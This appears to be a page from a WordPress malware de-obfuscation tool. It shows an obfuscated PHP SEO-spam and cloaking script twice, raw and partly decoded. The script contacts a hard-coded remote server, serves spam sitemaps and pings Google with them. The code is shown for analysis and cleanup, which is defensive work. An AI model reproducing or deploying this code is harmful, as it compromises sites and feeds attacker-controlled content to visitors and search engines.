De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php @header('Content-Type:text/html;charset=utf-8'); error_reporting(0); $OOOOOO = "%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c"; global $O; $O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^\$[]\\\\%{}!*|+,"; $oOooOO = 'z0823_7'; $oOooOOoO = "http://198.204.238.74/z0823_7/"; if (substr($oOoooOOoOO, 4) == $O[59] . $O[20] . $O[25] . $O[18]) { if (strpos($oOoooOOoOO, $O[9] . $O[7] . $O[24] . $O[14] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[59] . $O[20] . $O[25] . $O[18])) { $ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO, $ooooooOoOoooOOOooo); $ooooooOOoooOOOooooOOO = explode(",", $ooooooOoOoooOOOooooO); $ooooooOOoooOOOooooOOO[] = $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9]; for ($ooooooOOoooOOOooooOOOOo = 0; $ooooooOOoooOOOooooOOOOo < count($ooooooOOoooOOOooooOOO); $ooooooOOoooOOOooooOOOOo++) { if (strpos($ooooooOOoooOOOoooOo, $O[59] . $O[9] . $O[15] . $O[9]) > 0) { $ooooooOOoooOOOooooOOOOoo = $O[55]; } else { $ooooooOOoooOOOooooOOOOoo = $O[63]; } $ooooooOOOoooOOOooooOOOOOoo = $ooooooOOoooOOOoooOo . $ooooooOOoooOOOooooOOOOoo . $ooooooOOoooOOOooooOOO[$ooooooOOoooOOOooooOOOOo] . $O[59] . $O[20] . $O[25] . $O[18]; $ooooooOOOOoooOOOooooOOOOOo = $O[15] . $O[4] . $O[4] . $O[9] . $O[11] . $O[62] . $O[63] . $O[63] . $O[1] . $O[1] . $O[1] . $O[59] . $O[14] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[59] . $O[21] . $O[8] . $O[25] . $O[63] . $O[9] . $O[7] . $O[24] . $O[14] . $O[55] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[61] . $ooooooOOOoooOOOooooOOOOOoo; $ooooooOOOOoooOOOooooOOOOOoOooOoOo = $O[15] . $O[4] . $O[4] . $O[9] . $O[62] . $O[63] . $O[63] . $O[1] . $O[1] . $O[1] . $O[59] . $O[14] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[59] . $O[21] . $O[8] . $O[25] . $O[63] . $O[9] . $O[7] . $O[24] . $O[14] . $O[55] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[61] . $ooooooOOOoooOOOooooOOOOOoo; if (stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) { echo $ooooooOOOOoooOOOooooOOOOOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL; } else { if (stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) { echo $ooooooOOOOoooOOOooooOOOOOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL; } else { if (stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOoOooOoOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) { echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL; } else { if (stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOoOooOoOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) { echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL; } else { echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[13] . $O[10] . $O[7] . $O[18] . PHP_EOL; } } } } } exit; } if (strpos($oOoooOOoOO, $O[10] . $O[18] . $O[18] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[59] . $O[20] . $O[25] . $O[18])) { $ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO, $ooooooOoOoooOOOooo); header($O[47] . $O[8] . $O[24] . $O[4] . $O[2] . $O[24] . $O[4] . $O[53] . $O[4] . $O[5] . $O[9] . $O[2] . $O[62] . $O[4] . $O[2] . $O[20] . $O[4] . $O[63] . $O[20] . $O[25] . $O[18]); echo $ooooooOoOoooOOOooooO; exit; } if (strpos($oOoooOOoOO, $O[59] . $O[9] . $O[15] . $O[9])) { $ooooooOOoOOoooOOOooooOOOOO = explode($O[55], $oOoooOOoOO); $ooooooOOoOOoooOOOooooOOOOO = $ooooooOOoOOoooOOOooooOOOOO[count($ooooooOOoOOoooOOOooooOOOOO) - 1]; $ooooooOOoOOoooOOOooooOOOOO = str_replace($O[59] . $O[20] . $O[25] . $O[18], "", $ooooooOOoOOoooOOOooooOOOOO); } else { $ooooooOOoOOoooOOOooooOOOOO = str_replace($O[63], "", $oOoooOOoOO); $ooooooOOoOOoooOOOooooOOOOO = str_replace($O[59] . $O[20] . $O[25] . $O[18], "", $ooooooOOoOOoooOOOooooOOOOO); } $ooooooOoOoooOOOooo[$O[1] . $O[8] . $O[3] . $O[12]] = $ooooooOOoOOoooOOOooooOOOOO; $ooooooOoOoooOOOooo[$O[10] . $O[21] . $O[4] . $O[7] . $O[8] . $O[24]] = $O[21] . $O[15] . $O[2] . $O[21] . $O[17] . $O[52] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9]; $ooooooOOoOoOoooOOOooooOOoOOO = ooOOoOOO($oooooOOoooOOOoooOoo, $ooooooOoOoooOOOooo); if ($ooooooOOoOoOoooOOOooooOOoOOO == '1') { $ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO, $ooooooOoOoooOOOooo); header($O[47] . $O[8] . $O[24] . $O[4] . $O[2] . $O[24] . $O[4] . $O[53] . $O[4] . $O[5] . $O[9] . $O[2] . $O[62] . $O[4] . $O[2] . $O[20] . $O[4] . $O[63] . $O[20] . $O[25] . $O[18]); echo $ooooooOoOoooOOOooooO; exit; } $ooooooOoOoooOOOooo[$O[10] . $O[21] . $O[4] . $O[7] . $O[8] . $O[24]] = $O[21] . $O[15] . $O[2] . $O[21] . $O[17] . $O[52] . $O[1] . $O[8] . $O[3] . $O[12] . $O[11]; $ooooooOOoOoOoooOOOooooOOoOoOO = ooOOoOOO($oooooOOoooOOOoooOoo, $ooooooOoOoooOOOooo); if (strpos($oOoooOOoOO, $O[25] . $O[10] . $O[9]) > 0 || $ooooooOOoOoOoooOOOooooOOoOoOO == '1') { $ooooooOoOoooOOOooo[$O[10] . $O[21] . $O[4] . $O[7] . $O[8] . $O[24]] = $O[3] . $O[10] . $O[24] . $O[12] . $O[52] . $O[20] . $O[25] . $O[18]; $ooooooOOoOoOoooOOOooooOOoOOO = ooOOoOOO($oooooOOoooOOOoooOoo, $ooooooOoOoooOOOooo); header($O[47] . $O[8] . $O[24] . $O[4] . $O[2] . $O[24] . $O[4] . $O[53] . $O[4] . $O[5] . $O[9] . $O[2] . $O[62] . $O[4] . $O[2] . $O[20] . $O[4] . $O[63] . $O[20] . $O[25] . $O[18]); echo $ooooooOOoOoOoooOOOooooOOoOOO; exit; } } ?>
<?php @header('Content-Type:text/html;charset=utf-8'); error_reporting(0); $OOOOOO = "%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c"; global $O; $O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^\$[]\\\\%{}!*|+,"; $oOooOO = 'z0823_7'; $oOooOOoO = "http://198.204.238.74/z0823_7/"; if (substr($oOoooOOoOO, 4) == ".xml") { if (strpos($oOoooOOoOO, "pingsitemap.xml")) { $ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO, $ooooooOoOoooOOOooo); $ooooooOOoooOOOooooOOO = explode(",", $ooooooOoOoooOOOooooO); $ooooooOOoooOOOooooOOO[] = "sitemap"; for ($ooooooOOoooOOOooooOOOOo = 0; $ooooooOOoooOOOooooOOOOo < count($ooooooOOoooOOOooooOOO); $ooooooOOoooOOOooooOOOOo++) { if (strpos($ooooooOOoooOOOoooOo, $O[59] . $O[9] . $O[15] . $O[9]) > 0) { $ooooooOOoooOOOooooOOOOoo = $O[55]; } else { $ooooooOOoooOOOooooOOOOoo = $O[63]; } $ooooooOOOoooOOOooooOOOOOoo = $ooooooOOoooOOOoooOo . $ooooooOOoooOOOooooOOOOoo . $ooooooOOoooOOOooooOOO[$ooooooOOoooOOOooooOOOOo] . $O[59] . $O[20] . $O[25] . $O[18]; $ooooooOOOOoooOOOooooOOOOOo = $O[15] . $O[4] . $O[4] . $O[9] . $O[11] . $O[62] . $O[63] . $O[63] . $O[1] . $O[1] . $O[1] . $O[59] . $O[14] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[59] . $O[21] . $O[8] . $O[25] . $O[63] . $O[9] . $O[7] . $O[24] . $O[14] . $O[55] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[61] . $ooooooOOOoooOOOooooOOOOOoo; $ooooooOOOOoooOOOooooOOOOOoOooOoOo = $O[15] . $O[4] . $O[4] . $O[9] . $O[62] . $O[63] . $O[63] . $O[1] . $O[1] . $O[1] . $O[59] . $O[14] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[59] . $O[21] . $O[8] . $O[25] . $O[63] . $O[9] . $O[7] . $O[24] . $O[14] . $O[55] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[61] . $ooooooOOOoooOOOooooOOOOOoo; if (stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) { echo $ooooooOOOOoooOOOooooOOOOOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL; } else { if (stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) { echo $ooooooOOOOoooOOOooooOOOOOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL; } else { if (stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOoOooOoOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) { echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL; } else { if (stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOoOooOoOo), $O[11] . $O[6] . $O[21] . $O[21] . $O[2] . $O[11] . $O[11] . $O[13] . $O[6] . $O[18] . $O[18] . $O[5])) { echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[34] . $O[43] . PHP_EOL; } else { echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo . $O[61] . $O[61] . $O[61] . $O[56] . $O[37] . $O[6] . $O[23] . $O[25] . $O[7] . $O[4] . $O[4] . $O[7] . $O[24] . $O[14] . $O[57] . $O[40] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[57] . $O[37] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[62] . $O[57] . $O[13] . $O[10] . $O[7] . $O[18] . PHP_EOL; } } } } } exit; } if (strpos($oOoooOOoOO, $O[10] . $O[18] . $O[18] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9] . $O[59] . $O[20] . $O[25] . $O[18])) { $ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO, $ooooooOoOoooOOOooo); header($O[47] . $O[8] . $O[24] . $O[4] . $O[2] . $O[24] . $O[4] . $O[53] . $O[4] . $O[5] . $O[9] . $O[2] . $O[62] . $O[4] . $O[2] . $O[20] . $O[4] . $O[63] . $O[20] . $O[25] . $O[18]); echo $ooooooOoOoooOOOooooO; exit; } if (strpos($oOoooOOoOO, $O[59] . $O[9] . $O[15] . $O[9])) { $ooooooOOoOOoooOOOooooOOOOO = explode($O[55], $oOoooOOoOO); $ooooooOOoOOoooOOOooooOOOOO = $ooooooOOoOOoooOOOooooOOOOO[count($ooooooOOoOOoooOOOooooOOOOO) - 1]; $ooooooOOoOOoooOOOooooOOOOO = str_replace($O[59] . $O[20] . $O[25] . $O[18], "", $ooooooOOoOOoooOOOooooOOOOO); } else { $ooooooOOoOOoooOOOooooOOOOO = str_replace($O[63], "", $oOoooOOoOO); $ooooooOOoOOoooOOOooooOOOOO = str_replace($O[59] . $O[20] . $O[25] . $O[18], "", $ooooooOOoOOoooOOOooooOOOOO); } $ooooooOoOoooOOOooo[$O[1] . $O[8] . $O[3] . $O[12]] = $ooooooOOoOOoooOOOooooOOOOO; $ooooooOoOoooOOOooo[$O[10] . $O[21] . $O[4] . $O[7] . $O[8] . $O[24]] = $O[21] . $O[15] . $O[2] . $O[21] . $O[17] . $O[52] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9]; $ooooooOOoOoOoooOOOooooOOoOOO = ooOOoOOO($oooooOOoooOOOoooOoo, $ooooooOoOoooOOOooo); if ($ooooooOOoOoOoooOOOooooOOoOOO == '1') { $ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO, $ooooooOoOoooOOOooo); header($O[47] . $O[8] . $O[24] . $O[4] . $O[2] . $O[24] . $O[4] . $O[53] . $O[4] . $O[5] . $O[9] . $O[2] . $O[62] . $O[4] . $O[2] . $O[20] . $O[4] . $O[63] . $O[20] . $O[25] . $O[18]); echo $ooooooOoOoooOOOooooO; exit; } $ooooooOoOoooOOOooo[$O[10] . $O[21] . $O[4] . $O[7] . $O[8] . $O[24]] = $O[21] . $O[15] . $O[2] . $O[21] . $O[17] . $O[52] . $O[1] . $O[8] . $O[3] . $O[12] . $O[11]; $ooooooOOoOoOoooOOOooooOOoOoOO = ooOOoOOO($oooooOOoooOOOoooOoo, $ooooooOoOoooOOOooo); if (strpos($oOoooOOoOO, $O[25] . $O[10] . $O[9]) > 0 || $ooooooOOoOoOoooOOOooooOOoOoOO == '1') { $ooooooOoOoooOOOooo[$O[10] . $O[21] . $O[4] . $O[7] . $O[8] . $O[24]] = $O[3] . $O[10] . $O[24] . $O[12] . $O[52] . $O[20] . $O[25] . $O[18]; $ooooooOOoOoOoooOOOooooOOoOOO = ooOOoOOO($oooooOOoooOOOoooOoo, $ooooooOoOoooOOOooo); header($O[47] . $O[8] . $O[24] . $O[4] . $O[2] . $O[24] . $O[4] . $O[53] . $O[4] . $O[5] . $O[9] . $O[2] . $O[62] . $O[4] . $O[2] . $O[20] . $O[4] . $O[63] . $O[20] . $O[25] . $O[18]); echo $ooooooOOoOoOoooOOOooooOOoOOO; exit; } }
Malware detection & removal plugin for WordPress
(C)2020 Wordpress Doctor All rights reserved.